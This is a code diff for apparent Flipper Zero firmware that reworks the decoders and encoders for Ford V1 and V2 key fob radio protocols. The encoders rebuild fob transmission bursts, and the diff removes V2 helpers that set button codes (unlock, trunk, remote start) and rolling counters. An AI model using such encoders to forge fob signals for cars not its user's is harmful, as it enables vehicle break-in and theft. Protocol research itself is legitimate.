|
||||
furi_check(context);
|
||||
SubGhzProtocolDecoderFordV1* instance = context;
|
||||
@@ -812,40 +883,49 @@ void subghz_protocol_decoder_ford_v1_get_string(void* context, FuriString* outpu
|
||||
(unsigned long)crc16,
|
||||
crc_ok ? "OK" : "ERR");
|
||||
} else {
|
||||
uint16_t calc_crc = crc16;
|
||||
(void)calc_crc;
|
||||
uint8_t raw[FORD_V1_DATA_BYTES];
|
||||
ford_v1_raw14_from_internal_keys(key1, key2, raw);
|
||||
raw[15] = (uint8_t)((crc >> 8) & 0xFF);
|
||||
raw[16] = (uint8_t)(crc & 0xFF);
|
||||
|
||||
uint16_t check_crc = ford_v1_crc16(&raw[3], 12);
|
||||
bool crc_ok = (check_crc == crc16);
|
||||
|
||||
uint32_t device_id = ((uint32_t)raw[3] << 24) | ((uint32_t)raw[4] << 16) |
|
||||
((uint32_t)raw[5] << 8) | raw[6];
|
||||
|
||||
furi_string_cat_printf(
|
||||
output,
|
||||
"%s %dbit\r\n"
|
||||
"%014llX%06llX\r\n"
|
||||
"%010llX%04lX\r\n"
|
||||
"CRC:%04lX [%s]\r\n",
|
||||
"Sn:%08lX\r\n"
|
||||
"CRC:%04lX [%s]\r\n"
|
||||
"Encryption not supported !\r\n",
|
||||
instance->generic.protocol_name,
|
||||
instance->generic.data_count_bit,
|
||||
(unsigned long long)key1,
|
||||
(unsigned long long)(key2 >> 40),
|
||||
(unsigned long long)(key2 & 0xFFFFFFFFFFULL),
|
||||
(unsigned long)crc16,
|
||||
(unsigned long)device_id,
|
||||
(unsigned long)crc16,
|
||||
"ERR");
|
||||
crc_ok ? "OK" : "ERR");
|
||||
}
|
||||
}
|
||||
|
||||
#define FORD_V1_ENC_UPLOAD_U32 0x1932U
|
||||
#define FORD_V1_ENC_UPLOAD_ALLOC 0x64D0U
|
||||
#define FORD_V1_ENC_BURST_U32 0x433U
|
||||
#define FORD_V1_ENC_BURST_COUNT 6U
|
||||
#define FORD_V1_ENC_BURST_COUNT 6U
|
||||
#define FORD_V1_ENC_PREAMBLE_PAIRS 400U
|
||||
#define FORD_V1_ENC_BURST_LD_COUNT \
|
||||
((FORD_V1_ENC_PREAMBLE_PAIRS * 2U) + 2U + (FORD_V1_DATA_BYTES * 16U) + 1U)
|
||||
#define FORD_V1_ENC_SYNC_SHORT_US 65U
|
||||
#define FORD_V1_ENC_SYNC_LONG_US 130U
|
||||
#define FORD_V1_ENC_GAP_REPEAT_US 50000U
|
||||
#define FORD_V1_ENC_GAP_LAST_US 260U
|
||||
|
||||
#if(FORD_V1_ENC_BURST_U32 * FORD_V1_ENC_BURST_COUNT) != FORD_V1_ENC_UPLOAD_U32
|
||||
#if FORD_V1_ENC_BURST_LD_COUNT != 0x433U
|
||||
#error Ford V1 encoder burst layout constants out of sync
|
||||
#endif
|
||||
#define FORD_V1_ENC_LD_PREAM_A 0x80000082U
|
||||
#define FORD_V1_ENC_LD_PREAM_B 0x40000082U
|
||||
#define FORD_V1_ENC_LD_SYNC_LO 0x40000041U
|
||||
#define FORD_V1_ENC_LD_GAP_REPEAT 0x4000C350U
|
||||
#define FORD_V1_ENC_LD_GAP_LAST 0x40000104U
|
||||
#define FORD_V1_ENC_MANCHESTER_OR 0x41U
|
||||
|
||||
static const uint8_t ford_v1_encoder_burst_pkt4_vals[6] = {0x08, 0x00, 0x10, 0x08, 0x00, 0x10};
|
||||
|
||||
@@ -859,55 +939,9 @@ typedef struct SubGhzProtocolEncoderFordV1 {
|
||||
uint8_t raw_tx[FORD_V1_DATA_BYTES];
|
||||
uint8_t encryption_supported;
|
||||
uint8_t plain_valid;
|
||||
uint8_t burst_idx;
|
||||
} SubGhzProtocolEncoderFordV1;
|
||||
|
||||
static void ford_v1_plain9_get_fields(
|
||||
const uint8_t plain9[9],
|
||||
uint32_t* serial,
|
||||
uint8_t* btn,
|
||||
uint32_t* cnt) {
|
||||
*serial = ((uint32_t)plain9[1] << 24) | ((uint32_t)plain9[2] << 16) |
|
||||
((uint32_t)plain9[3] << 8) | (uint32_t)plain9[0];
|
||||
*btn = (uint8_t)((plain9[5] >> 4) & 0x0FU);
|
||||
*cnt = ((uint32_t)(plain9[5] & 0x0FU) << 16) | ((uint32_t)plain9[6] << 8) |
|
||||
(uint32_t)plain9[7];
|
||||
}
|
||||
|
||||
static void ford_v1_encode_inverse_block(uint8_t block[9]) {
|
||||
uint8_t sum = 0;
|
||||
for(size_t i = 1; i <= 7; i++) {
|
||||
sum = (uint8_t)(sum + block[i]);
|
||||
}
|
||||
|
||||
const uint8_t p6 = block[6];
|
||||
const uint8_t p7 = block[7];
|
||||
const uint8_t post6 = (uint8_t)((p6 & 0xAAU) | (p7 & 0x55U));
|
||||
const uint8_t post7 = (uint8_t)((p7 & 0xAAU) | (p6 & 0x55U));
|
||||
const uint8_t xorv = (uint8_t)(post6 ^ post7);
|
||||
|
||||
uint8_t xor_byte;
|
||||
if((__builtin_popcount((unsigned int)sum) & 1) != 0) {
|
||||
block[6] = xorv;
|
||||
block[7] = post7;
|
||||
xor_byte = post7;
|
||||
} else {
|
||||
block[6] = post6;
|
||||
block[7] = xorv;
|
||||
xor_byte = post6;
|
||||
}
|
||||
|
||||
for(size_t i = 1; i <= 5; i++) {
|
||||
block[i] ^= xor_byte;
|
||||
}
|
||||
}
|
||||
|
||||
static void ford_v1_encode_air_9bytes(const uint8_t* plain9, uint8_t* air9_out) {
|
||||
uint8_t block[9];
|
||||
memcpy(block, plain9, 9);
|
||||
ford_v1_encode_inverse_block(block);
|
||||
memcpy(air9_out, block, 9);
|
||||
}
|
||||
|
||||
static void
|
||||
ford_v1_plain_apply_fields(uint8_t* plain9, uint32_t serial, uint8_t btn, uint32_t cnt) {
|
||||
uint8_t chk = (uint8_t)(plain9[8] - plain9[6] - plain9[7] - plain9[5]);
|
||||
@@ -993,91 +1027,38 @@ static void ford_v1_encoder_patch_key1_low_bits(SubGhzProtocolEncoderFordV1* ins
|
||||
instance->generic.data = (k & 0xFFFFFFFF00000000ULL) | (uint64_t)lo;
|
||||
}
|
||||
|
||||
static void ford_v1_encoder_build_upload(SubGhzProtocolEncoderFordV1* instance) {
|
||||
uint32_t* const upload_u32 = (uint32_t*)instance->encoder.upload;
|
||||
static void ford_v1_encoder_build_burst(SubGhzProtocolEncoderFordV1* instance, uint8_t burst_idx) {
|
||||
LevelDuration* const upload = instance->encoder.upload;
|
||||
uint8_t pkt[FORD_V1_DATA_BYTES];
|
||||
memcpy(pkt, instance->raw_tx, FORD_V1_DATA_BYTES);
|
||||
|
||||
const uint32_t pat_a = FORD_V1_ENC_LD_PREAM_A;
|
||||
const uint32_t pat_b = FORD_V1_ENC_LD_PREAM_B;
|
||||
const uint32_t sync_word = FORD_V1_ENC_LD_PREAM_A;
|
||||
const uint32_t sync_lo = FORD_V1_ENC_LD_SYNC_LO;
|
||||
pkt[4] = ford_v1_encoder_burst_pkt4_vals[burst_idx];
|
||||
uint16_t crcw = ford_v1_crc16(&pkt[3], 12);
|
||||
pkt[15] = (uint8_t)(crcw >> 8);
|
||||
pkt[16] = (uint8_t)(crcw & 0xFFU);
|
||||
|
||||
int i6 = 0;
|
||||
uint32_t* r7 = (uint32_t*)((uint8_t*)upload_u32 + 0xc80);
|
||||
unsigned burst_idx = 0;
|
||||
|
||||
furi_check(sizeof(ford_v1_encoder_burst_pkt4_vals) == FORD_V1_ENC_BURST_COUNT);
|
||||
|
||||
for(;;) {
|
||||
furi_check(burst_idx < FORD_V1_ENC_BURST_COUNT);
|
||||
pkt[4] = ford_v1_encoder_burst_pkt4_vals[burst_idx];
|
||||
uint16_t crcw = ford_v1_crc16(&pkt[3], 12);
|
||||
pkt[15] = (uint8_t)(crcw >> 8);
|
||||
pkt[16] = (uint8_t)(crcw & 0xFFU);
|
||||
{
|
||||
char hx[40];
|
||||
size_t o = 0;
|
||||
for(size_t u = 0; u < FORD_V1_DATA_BYTES && o + 2 < sizeof(hx); u++) {
|
||||
int n = snprintf(hx + o, sizeof(hx) - o, "%02X", pkt[u]);
|
||||
if(n <= 0) break;
|
||||
o += (size_t)n;
|
||||
}
|
||||
FURI_LOG_I(TAG, "Encoder TX burst %u/6 raw17=%s", (unsigned)(burst_idx + 1U), hx);
|
||||
}
|
||||
FURI_LOG_D(
|
||||
TAG,
|
||||
"Encoder TX build burst %u/%u: pkt[4]=%02X CRC=%04X raw[0..3]=%02X%02X%02X%02X",
|
||||
(unsigned)(burst_idx + 1U),
|
||||
(unsigned)FORD_V1_ENC_BURST_COUNT,
|
||||
(unsigned)pkt[4],
|
||||
(unsigned)crcw,
|
||||
(unsigned)pkt[0],
|
||||
(unsigned)pkt[1],
|
||||
(unsigned)pkt[2],
|
||||
(unsigned)pkt[3]);
|
||||
burst_idx++;
|
||||
|
||||
uint32_t* pu19 = r7 - 800;
|
||||
while(pu19 != r7) {
|
||||
pu19[0] = pat_a;
|
||||
pu19[1] = pat_b;
|
||||
pu19 += 2;
|
||||
}
|
||||
r7[1] = sync_lo;
|
||||
r7[0] = sync_word;
|
||||
|
||||
int ip = i6 + 0x322;
|
||||
for(int by = 0; by < FORD_V1_DATA_BYTES; by++) {
|
||||
uint8_t b = pkt[by];
|
||||
uint32_t* pu10 = upload_u32 + ip;
|
||||
for(int bit_i = 7; bit_i >= 0; bit_i--) {
|
||||
uint32_t w_hi_pair;
|
||||
uint32_t w_lo_pair;
|
||||
if(((b >> bit_i) & 1) == 0) {
|
||||
w_hi_pair = (2U << 30) | FORD_V1_ENC_MANCHESTER_OR;
|
||||
w_lo_pair = (1U << 30) | FORD_V1_ENC_MANCHESTER_OR;
|
||||
} else {
|
||||
w_hi_pair = (1U << 30) | FORD_V1_ENC_MANCHESTER_OR;
|
||||
w_lo_pair = (2U << 30) | FORD_V1_ENC_MANCHESTER_OR;
|
||||
}
|
||||
pu10[0] = w_lo_pair;
|
||||
pu10[1] = w_hi_pair;
|
||||
pu10 += 2;
|
||||
}
|
||||
ip += 0x10;
|
||||
}
|
||||
|
||||
i6 += (int)FORD_V1_ENC_BURST_U32;
|
||||
if(i6 == (int)FORD_V1_ENC_UPLOAD_U32) {
|
||||
break;
|
||||
}
|
||||
r7[0x112] = FORD_V1_ENC_LD_GAP_REPEAT;
|
||||
r7 = (uint32_t*)((uint8_t*)r7 + 0x10cc);
|
||||
size_t index = 0;
|
||||
for(size_t i = 0; i < FORD_V1_ENC_PREAMBLE_PAIRS; i++) {
|
||||
upload[index++] = level_duration_make(true, FORD_V1_ENC_SYNC_LONG_US);
|
||||
upload[index++] = level_duration_make(false, FORD_V1_ENC_SYNC_LONG_US);
|
||||
}
|
||||
r7[0x112] = FORD_V1_ENC_LD_GAP_LAST;
|
||||
upload[index++] = level_duration_make(true, FORD_V1_ENC_SYNC_LONG_US);
|
||||
upload[index++] = level_duration_make(false, FORD_V1_ENC_SYNC_SHORT_US);
|
||||
|
||||
instance->encoder.size_upload = FORD_V1_ENC_UPLOAD_U32;
|
||||
for(size_t by = 0; by < FORD_V1_DATA_BYTES; by++) {
|
||||
uint8_t b = pkt[by];
|
||||
for(int bit_i = 7; bit_i >= 0; bit_i--) {
|
||||
bool bit = ((b >> bit_i) & 1U) != 0U;
|
||||
upload[index++] = level_duration_make(bit, FORD_V1_ENC_SYNC_SHORT_US);
|
||||
upload[index++] = level_duration_make(!bit, FORD_V1_ENC_SYNC_SHORT_US);
|
||||
}
|
||||
}
|
||||
|
||||
upload[index++] = level_duration_make(
|
||||
false,
|
||||
(burst_idx + 1U == FORD_V1_ENC_BURST_COUNT) ? FORD_V1_ENC_GAP_LAST_US :
|
||||
FORD_V1_ENC_GAP_REPEAT_US);
|
||||
instance->encoder.size_upload = FORD_V1_ENC_BURST_LD_COUNT;
|
||||
instance->encoder.front = 0;
|
||||
}
|
||||
|
||||
@@ -1088,10 +1069,10 @@ void* subghz_protocol_encoder_ford_v1_alloc(SubGhzEnvironment* environment) {
|
||||
instance->base.protocol = &ford_protocol_v1;
|
||||
instance->generic.protocol_name = instance->base.protocol->name;
|
||||
instance->encoder.repeat = 10;
|
||||
instance->encoder.size_upload = 0;
|
||||
instance->encoder.front = 0;
|
||||
instance->encoder.is_running = false;
|
||||
instance->encoder.upload = malloc(FORD_V1_ENC_UPLOAD_ALLOC);
|
||||
instance->burst_idx = 0;
|
||||
instance->encoder.upload = malloc(FORD_V1_ENC_BURST_LD_COUNT * sizeof(LevelDuration));
|
||||
furi_check(instance->encoder.upload);
|
||||
return instance;
|
||||
}
|
||||
@@ -1099,10 +1080,35 @@ void* subghz_protocol_encoder_ford_v1_alloc(SubGhzEnvironment* environment) {
|
||||
void subghz_protocol_encoder_ford_v1_free(void* context) {
|
||||
furi_check(context);
|
||||
SubGhzProtocolEncoderFordV1* instance = context;
|
||||
free(instance->encoder.upload);
|
||||
if(instance->encoder.upload) {
|
||||
free(instance->encoder.upload);
|
||||
instance->encoder.upload = NULL;
|
||||
}
|
||||
free(instance);
|
||||
}
|
||||
|
||||
void subghz_protocol_encoder_ford_v1_stop(void* context) {
|
||||
furi_check(context);
|
||||
SubGhzProtocolEncoderFordV1* instance = context;
|
||||
instance->encoder.is_running = false;
|
||||
instance->encoder.front = 0;
|
||||
}
|
||||
|
||||
LevelDuration subghz_protocol_encoder_ford_v1_yield(void* context) {
|
||||
furi_check(context);
|
||||
SubGhzProtocolEncoderFordV1* instance = context;
|
||||
if(instance->encoder.repeat == 0 || !instance->encoder.is_running || instance->encoder.size_upload == 0) {
|
||||
instance->encoder.is_running = false;
|
||||
return level_duration_reset();
|
||||
}
|
||||
LevelDuration ret = instance->encoder.upload[instance->encoder.front];
|
||||
if(++instance->encoder.front == instance->encoder.size_upload) {
|
||||
instance->encoder.repeat--;
|
||||
instance->encoder.front = 0;
|
||||
}
|
||||
return ret;
|
||||
}
|
||||
|
||||
SubGhzProtocolStatus
|
||||
subghz_protocol_encoder_ford_v1_deserialize(void* context, FlipperFormat* flipper_format) {
|
||||
furi_check(context);
|
||||
@@ -1113,17 +1119,20 @@ SubGhzProtocolStatus
|
||||
instance->encoder.front = 0;
|
||||
instance->encoder.repeat = 10;
|
||||
instance->plain_valid = 0;
|
||||
|
||||
FuriString* temp_str = furi_string_alloc();
|
||||
furi_check(temp_str);
|
||||
instance->burst_idx = 0;
|
||||
|
||||
do {
|
||||
flipper_format_rewind(flipper_format);
|
||||
if(!flipper_format_read_string(flipper_format, "Protocol", temp_str)) {
|
||||
break;
|
||||
}
|
||||
if(!furi_string_equal(temp_str, instance->base.protocol->name)) {
|
||||
break;
|
||||
{
|
||||
flipper_format_rewind(flipper_format);
|
||||
FuriString* tmp = furi_string_alloc();
|
||||
bool name_ok = false;
|
||||
if(flipper_format_read_string(flipper_format, "Protocol", tmp)) {
|
||||
if(furi_string_equal_str(tmp, instance->base.protocol->name)) {
|
||||
name_ok = true;
|
||||
}
|
||||
}
|
||||
furi_string_free(tmp);
|
||||
if(!name_ok) break;
|
||||
}
|
||||
|
||||
flipper_format_rewind(flipper_format);
|
||||
@@ -1179,34 +1188,22 @@ SubGhzProtocolStatus
|
||||
ford_v1_encoder_keys_from_raw(instance);
|
||||
|
||||
{
|
||||
uint32_t ser_fb = 0;
|
||||
uint32_t cnt_fb = 0;
|
||||
uint8_t btn_fb = 0;
|
||||
ford_v1_plain9_get_fields(instance->plain9, &ser_fb, &btn_fb, &cnt_fb);
|
||||
|
||||
uint32_t u32 = 0;
|
||||
if(ford_v1_flipper_read_serial_u32(flipper_format, &u32)) {
|
||||
instance->generic.serial = u32;
|
||||
} else {
|
||||
instance->generic.serial = ser_fb;
|
||||
}
|
||||
|
||||
uint32_t serial = UINT32_MAX;
|
||||
uint32_t btn = UINT32_MAX;
|
||||
uint32_t cnt = UINT32_MAX;
|
||||
flipper_format_rewind(flipper_format);
|
||||
if(flipper_format_read_uint32(flipper_format, "Btn", &u32, 1)) {
|
||||
instance->generic.btn = (uint8_t)u32;
|
||||
} else {
|
||||
instance->generic.btn = btn_fb;
|
||||
}
|
||||
|
||||
if(!flipper_format_read_uint32(flipper_format, "Serial", &serial, 1))
|
||||
serial = UINT32_MAX;
|
||||
flipper_format_rewind(flipper_format);
|
||||
if(flipper_format_read_uint32(flipper_format, "Cnt", &u32, 1)) {
|
||||
instance->generic.cnt = u32;
|
||||
} else {
|
||||
instance->generic.cnt = cnt_fb;
|
||||
}
|
||||
|
||||
instance->generic.cnt &= 0xFFFFFU;
|
||||
instance->generic.btn &= 0x0FU;
|
||||
if(!flipper_format_read_uint32(flipper_format, "Btn", &btn, 1))
|
||||
btn = UINT32_MAX;
|
||||
flipper_format_rewind(flipper_format);
|
||||
if(!flipper_format_read_uint32(flipper_format, "Cnt", &cnt, 1))
|
||||
cnt = UINT32_MAX;
|
||||
if(serial == UINT32_MAX || btn == UINT32_MAX || cnt == UINT32_MAX) break;
|
||||
instance->generic.serial = serial;
|
||||
instance->generic.btn = (uint8_t)(btn & 0x0FU);
|
||||
instance->generic.cnt = cnt & 0xFFFFFU;
|
||||
}
|
||||
|
||||
{
|
||||
@@ -1225,15 +1222,15 @@ SubGhzProtocolStatus
|
||||
|
||||
ford_v1_encoder_patch_key1_low_bits(instance);
|
||||
|
||||
flipper_format_rewind(flipper_format);
|
||||
uint32_t repeat_tmp = 10;
|
||||
if(flipper_format_read_uint32(flipper_format, "Repeat", &repeat_tmp, 1)) {
|
||||
instance->encoder.repeat = repeat_tmp;
|
||||
} else {
|
||||
instance->encoder.repeat = 10;
|
||||
{
|
||||
flipper_format_rewind(flipper_format);
|
||||
uint32_t repeat_val = 0;
|
||||
instance->encoder.repeat =
|
||||
flipper_format_read_uint32(flipper_format, "Repeat", &repeat_val, 1) ? repeat_val :
|
||||
10;
|
||||
}
|
||||
|
||||
ford_v1_encoder_build_upload(instance);
|
||||
ford_v1_encoder_build_burst(instance, instance->burst_idx);
|
||||
|
||||
{
|
||||
flipper_format_rewind(flipper_format);
|
||||
@@ -1251,47 +1248,7 @@ SubGhzProtocolStatus
|
||||
ret = SubGhzProtocolStatusOk;
|
||||
} while(false);
|
||||
|
||||
furi_string_free(temp_str);
|
||||
return ret;
|
||||
}
|
||||
|
||||
void subghz_protocol_encoder_ford_v1_stop(void* context) {
|
||||
furi_check(context);
|
||||
SubGhzProtocolEncoderFordV1* instance = context;
|
||||
instance->encoder.is_running = false;
|
||||
}
|
||||
|
||||
LevelDuration subghz_protocol_encoder_ford_v1_yield(void* context) {
|
||||
furi_check(context);
|
||||
SubGhzProtocolEncoderFordV1* instance = context;
|
||||
|
||||
if(!instance->encoder.is_running || instance->encoder.repeat == 0) {
|
||||
instance->encoder.is_running = false;
|
||||
return level_duration_reset();
|
||||
}
|
||||
|
||||
LevelDuration ret = instance->encoder.upload[instance->encoder.front];
|
||||
|
||||
if(++instance->encoder.front == instance->encoder.size_upload) {
|
||||
FURI_LOG_D(
|
||||
TAG,
|
||||
"Encoder yield: finished one full %lu-word frame (all %u bursts); repeats_left=%u",
|
||||
(unsigned long)instance->encoder.size_upload,
|
||||
(unsigned)FORD_V1_ENC_BURST_COUNT,
|
||||
subghz_block_generic_global.endless_tx ? (unsigned)instance->encoder.repeat :
|
||||
(unsigned)instance->encoder.repeat - 1U);
|
||||
if(!subghz_block_generic_global.endless_tx) instance->encoder.repeat--;
|
||||
instance->encoder.front = 0;
|
||||
} else if(instance->encoder.front <= 4U) {
|
||||
uint32_t raw_word;
|
||||
memcpy(&raw_word, &ret, sizeof(raw_word));
|
||||
FURI_LOG_D(
|
||||
TAG,
|
||||
"Encoder yield[%lu/%lu]: LevelDuration u32=0x%08lX",
|
||||
(unsigned long)instance->encoder.front - 1UL,
|
||||
(unsigned long)instance->encoder.size_upload,
|
||||
(unsigned long)raw_word);
|
||||
}
|
||||
|
||||
return ret;
|
||||
}
|
||||
|
||||
@@ -1,49 +1,35 @@
|
||||
#include "ford_v2.h"
|
||||
#include <furi.h>
|
||||
#include <string.h>
|
||||
#include <lib/toolbox/manchester_decoder.h>
|
||||
#include <lib/toolbox/manchester_encoder.h>
|
||||
#include <lib/subghz/blocks/custom_btn_i.h>
|
||||
|
||||
#define FORD_V2_TE_SHORT 200U
|
||||
#define FORD_V2_TE_LONG 400U
|
||||
#define FORD_V2_TE_DELTA 260U
|
||||
#define FORD_V2_INTER_BURST_GAP_US 15000U
|
||||
#define FORD_V2_PREAMBLE_MIN 64U
|
||||
#define FORD_V2_DATA_BITS 104U
|
||||
#define FORD_V2_DATA_BYTES 13U
|
||||
#define FORD_V2_SYNC_0 0x7FU
|
||||
#define FORD_V2_SYNC_1 0xA7U
|
||||
#define FORD_V2_ENC_TE_SHORT 240U
|
||||
#define FORD_V2_ENC_PREAMBLE_PAIRS 70U
|
||||
#define FORD_V2_ENC_BURST_COUNT 6U
|
||||
#define FORD_V2_TE_SHORT 200U
|
||||
#define FORD_V2_TE_LONG 400U
|
||||
#define FORD_V2_TE_DELTA 260U
|
||||
#define FORD_V2_INTER_BURST_GAP_US 15000U
|
||||
#define FORD_V2_PREAMBLE_MIN 64U
|
||||
#define FORD_V2_DATA_BITS 104U
|
||||
#define FORD_V2_DATA_BYTES 13U
|
||||
#define FORD_V2_SYNC_0 0x7FU
|
||||
#define FORD_V2_SYNC_1 0xA7U
|
||||
#define FORD_V2_ENC_TE_SHORT 240U
|
||||
#define FORD_V2_ENC_PREAMBLE_PAIRS 70U
|
||||
#define FORD_V2_ENC_BURST_COUNT 6U
|
||||
#define FORD_V2_ENC_INTER_BURST_GAP_US 16000U
|
||||
#define FORD_V2_ENC_ALLOC_ELEMS 2600U
|
||||
#define FORD_V2_ENC_SEPARATOR_ELEMS 2U
|
||||
#define FORD_V2_ENC_PREAMBLE_ELEMS (FORD_V2_ENC_PREAMBLE_PAIRS * 2U)
|
||||
#define FORD_V2_ENC_DATA_ELEMS ((FORD_V2_DATA_BITS - 1U) * 2U)
|
||||
#define FORD_V2_ENC_SEPARATOR_ELEMS 2U
|
||||
#define FORD_V2_ENC_PREAMBLE_ELEMS (FORD_V2_ENC_PREAMBLE_PAIRS * 2U)
|
||||
#define FORD_V2_ENC_DATA_ELEMS ((FORD_V2_DATA_BITS - 1U) * 2U)
|
||||
#define FORD_V2_ENC_BURST_ELEMS \
|
||||
(FORD_V2_ENC_PREAMBLE_ELEMS + FORD_V2_ENC_SEPARATOR_ELEMS + FORD_V2_ENC_DATA_ELEMS)
|
||||
#define FORD_V2_ENC_UPLOAD_ELEMS \
|
||||
(FORD_V2_ENC_BURST_COUNT * FORD_V2_ENC_BURST_ELEMS + (FORD_V2_ENC_BURST_COUNT - 1U))
|
||||
#define FORD_V2_ENC_SYNC_LO_US 476U
|
||||
|
||||
#define FORD_V2_SYNC_BITS 16U
|
||||
#define FORD_V2_SYNC_BITS 16U
|
||||
#define FORD_V2_POST_SYNC_DECODE_COUNT_BIT 16U
|
||||
#define FORD_V2_KEY_BYTE_COUNT 8U
|
||||
#define FORD_V2_TAIL_RAW_BYTE_COUNT 5U
|
||||
#define FORD_V2_PREAMBLE_COUNT_MAX 0xFFFFU
|
||||
#define FORD_V2_ENCODER_DEFAULT_REPEAT 10U
|
||||
|
||||
SUBGHZ_CUSTOM_BTN_DEFINE_MAP(
|
||||
ford_v2,
|
||||
{SUBGHZ_CUSTOM_BTN_OK, 0x11}, /* OK → Unlock */
|
||||
{SUBGHZ_CUSTOM_BTN_UP, 0x10}, /* Up → Lock */
|
||||
{SUBGHZ_CUSTOM_BTN_DOWN, 0x13}, /* Down → Trunk */
|
||||
{SUBGHZ_CUSTOM_BTN_LEFT, 0x14}, /* Left → Panic */
|
||||
{SUBGHZ_CUSTOM_BTN_RIGHT, 0x15}, /* Right → RemoteStart */
|
||||
)
|
||||
|
||||
#define FORD_V2_KEY_BYTE_COUNT 8U
|
||||
#define FORD_V2_TAIL_RAW_BYTE_COUNT 5U
|
||||
#define FORD_V2_PREAMBLE_COUNT_MAX 0xFFFFU
|
||||
#define FORD_V2_ENCODER_DEFAULT_REPEAT 10U
|
||||
|
||||
static const uint16_t ford_v2_sync_shift16_inv =
|
||||
(uint16_t)(~(((uint16_t)FORD_V2_SYNC_0 << 8) | (uint16_t)FORD_V2_SYNC_1));
|
||||
@@ -110,7 +96,8 @@ static void ford_v2_decoder_reset_state(SubGhzProtocolDecoderFordV2* instance) {
|
||||
|
||||
memset(instance->raw_bytes, 0, sizeof(instance->raw_bytes));
|
||||
|
||||
manchester_advance(instance->manchester_state, ManchesterEventReset, &instance->manchester_state, NULL);
|
||||
manchester_advance(
|
||||
instance->manchester_state, ManchesterEventReset, &instance->manchester_state, NULL);
|
||||
}
|
||||
|
||||
static bool ford_v2_duration_is_short(uint32_t duration) {
|
||||
@@ -168,8 +155,7 @@ static void ford_v2_decoder_extract_from_raw(SubGhzProtocolDecoderFordV2* instan
|
||||
|
||||
instance->generic.btn = k[6];
|
||||
|
||||
instance->counter16 = (uint16_t)((((uint16_t)(k[7] & 0x7FU)) << 9) |
|
||||
(((uint16_t)k[8]) << 1) |
|
||||
instance->counter16 = (uint16_t)((((uint16_t)(k[7] & 0x7FU)) << 9) | (((uint16_t)k[8]) << 1) |
|
||||
((uint16_t)(k[9] >> 7)));
|
||||
|
||||
instance->generic.cnt = instance->counter16;
|
||||
@@ -219,10 +205,6 @@ static bool ford_v2_decoder_commit_frame(SubGhzProtocolDecoderFordV2* instance)
|
||||
return false;
|
||||
}
|
||||
|
||||
/* Register this protocol's button map with the custom_btn system so the
|
||||
* standard transmitter view can show UP/DOWN/LEFT/RIGHT cycling. */
|
||||
ford_v2_custom_btn_init(instance->generic.btn);
|
||||
|
||||
if(instance->base.callback) {
|
||||
instance->base.callback(&instance->base, instance->base.context);
|
||||
}
|
||||
@@ -240,9 +222,8 @@ static void ford_v2_decoder_sync_enter_data(SubGhzProtocolDecoderFordV2* instanc
|
||||
instance->decoder.decode_count_bit = FORD_V2_POST_SYNC_DECODE_COUNT_BIT;
|
||||
}
|
||||
|
||||
static bool ford_v2_decoder_sync_feed_event(
|
||||
SubGhzProtocolDecoderFordV2* instance,
|
||||
ManchesterEvent event) {
|
||||
static bool
|
||||
ford_v2_decoder_sync_feed_event(SubGhzProtocolDecoderFordV2* instance, ManchesterEvent event) {
|
||||
bool data_bit;
|
||||
|
||||
if(!manchester_advance(
|
||||
@@ -255,7 +236,8 @@ static bool ford_v2_decoder_sync_feed_event(
|
||||
instance->sync_bit_count++;
|
||||
}
|
||||
|
||||
return instance->sync_bit_count >= FORD_V2_SYNC_BITS && instance->sync_shift == ford_v2_sync_shift16_inv;
|
||||
return instance->sync_bit_count >= FORD_V2_SYNC_BITS &&
|
||||
instance->sync_shift == ford_v2_sync_shift16_inv;
|
||||
}
|
||||
|
||||
static void ford_v2_decoder_manchester_feed_event(
|
||||
@@ -281,8 +263,7 @@ static void ford_v2_decoder_manchester_feed_event(
|
||||
|
||||
data_bit = !data_bit;
|
||||
|
||||
instance->decoder.decode_data =
|
||||
(instance->decoder.decode_data << 1) | (data_bit ? 1U : 0U);
|
||||
instance->decoder.decode_data = (instance->decoder.decode_data << 1) | (data_bit ? 1U : 0U);
|
||||
instance->decoder.decode_count_bit++;
|
||||
|
||||
if((instance->decoder.decode_count_bit & 7U) == 0U) {
|
||||
@@ -372,7 +353,7 @@ static inline void ford_v2_encoder_add_level(
|
||||
uint32_t prev = level_duration_get_duration(instance->encoder.upload[idx - 1]);
|
||||
instance->encoder.upload[idx - 1] = level_duration_make(level, prev + duration);
|
||||
} else {
|
||||
furi_check(idx < FORD_V2_ENC_ALLOC_ELEMS);
|
||||
furi_check(idx < FORD_V2_ENC_UPLOAD_ELEMS);
|
||||
instance->encoder.upload[idx] = level_duration_make(level, duration);
|
||||
instance->encoder.size_upload++;
|
||||
}
|
||||
@@ -399,65 +380,8 @@ static void ford_v2_encoder_refresh_data_from_raw(SubGhzProtocolEncoderFordV2* i
|
||||
}
|
||||
}
|
||||
|
||||
static void ford_v2_encoder_set_button_code(
|
||||
SubGhzProtocolEncoderFordV2* instance,
|
||||
uint8_t new_code) {
|
||||
if(!ford_v2_button_is_valid(new_code)) return;
|
||||
|
||||
instance->raw_bytes[6] = new_code;
|
||||
instance->raw_bytes[7] =
|
||||
(instance->raw_bytes[7] & 0x7FU) | (uint8_t)(ford_v2_uint8_parity(new_code) << 7);
|
||||
ford_v2_encoder_refresh_data_from_raw(instance);
|
||||
instance->generic.btn = new_code;
|
||||
}
|
||||
|
||||
static void ford_v2_encoder_set_counter(
|
||||
SubGhzProtocolEncoderFordV2* instance,
|
||||
uint16_t cnt) {
|
||||
cnt &= 0x7FFFU;
|
||||
instance->raw_bytes[7] =
|
||||
(instance->raw_bytes[7] & 0x80U) | (uint8_t)((cnt >> 9) & 0x7FU);
|
||||
instance->raw_bytes[8] = (uint8_t)((cnt >> 1) & 0xFFU);
|
||||
instance->raw_bytes[9] =
|
||||
(instance->raw_bytes[9] & 0x7FU) | (uint8_t)((cnt & 1U) << 7);
|
||||
ford_v2_encoder_refresh_data_from_raw(instance);
|
||||
instance->generic.cnt = cnt;
|
||||
}
|
||||
|
||||
static void ford_v2_encoder_update_flipper_format(
|
||||
SubGhzProtocolEncoderFordV2* instance,
|
||||
FlipperFormat* flipper_format) {
|
||||
flipper_format_rewind(flipper_format);
|
||||
flipper_format_insert_or_update_hex(
|
||||
flipper_format, "Key", instance->raw_bytes, FORD_V2_KEY_BYTE_COUNT);
|
||||
|
||||
flipper_format_rewind(flipper_format);
|
||||
flipper_format_insert_or_update_uint32(
|
||||
flipper_format, "Serial", &instance->generic.serial, 1);
|
||||
|
||||
uint32_t btn = instance->generic.btn;
|
||||
flipper_format_rewind(flipper_format);
|
||||
flipper_format_insert_or_update_uint32(flipper_format, "Btn", &btn, 1);
|
